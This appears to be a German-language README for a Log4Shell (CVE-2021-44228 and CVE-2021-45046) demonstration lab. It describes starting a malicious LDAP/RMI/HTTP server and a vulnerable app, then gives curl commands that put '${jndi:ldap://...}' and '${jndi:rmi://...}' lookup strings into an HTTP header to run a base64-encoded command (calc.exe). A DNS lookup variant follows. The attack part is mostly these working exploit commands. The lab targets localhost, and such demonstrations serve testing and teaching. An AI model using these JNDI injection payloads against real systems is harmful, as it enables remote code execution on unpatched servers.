Log4j CVE-2021-44228 und CVE-2021-45046

Voraussetzungen

Verwenden Sie ein verwundbares JDK, zum Beispiel JDK 1.8.0_181

Verwendung

Bösartiger Server

Der bösartige Server stellt die folgenden Endpunkte bereit:

• 1389 LDAP-Server
• 1099 RMI-Server
• 8081 HTTP-Server

./gradlew :malicious-server:bootRun

Verwundbare Anwendung

Die verwundbare Anwendung stellt einen HTTP-Endpunkt auf 8082 bereit.

./gradlew :vulnerable-app:bootRun

Remote-Codeausführung

Wählen Sie einen Payload, der von der verwundbaren Anwendung ausgeführt werden soll, und kodieren Sie ihn in Base64. Um beispielsweise den Taschenrechner unter Windows zu öffnen: calc.exe

LDAP

curl --header "X-Vulnerable-Header: ${jndi:ldap://localhost:1389/payload/Log4j/Y2FsYy5leGU=}" http://127.0.0.1:8082/

RMI

curl --header "X-Vulnerable-Header: ${jndi:rmi://localhost:1099/payload/Log4j/Y2FsYy5leGU=}" http://127.0.0.1:8082/

DNS-Abfragen

curl --header "X-Vulnerable-Header: ${jndi:dns://8.8.8.8/google.es}" http://127.0.0.1:8082/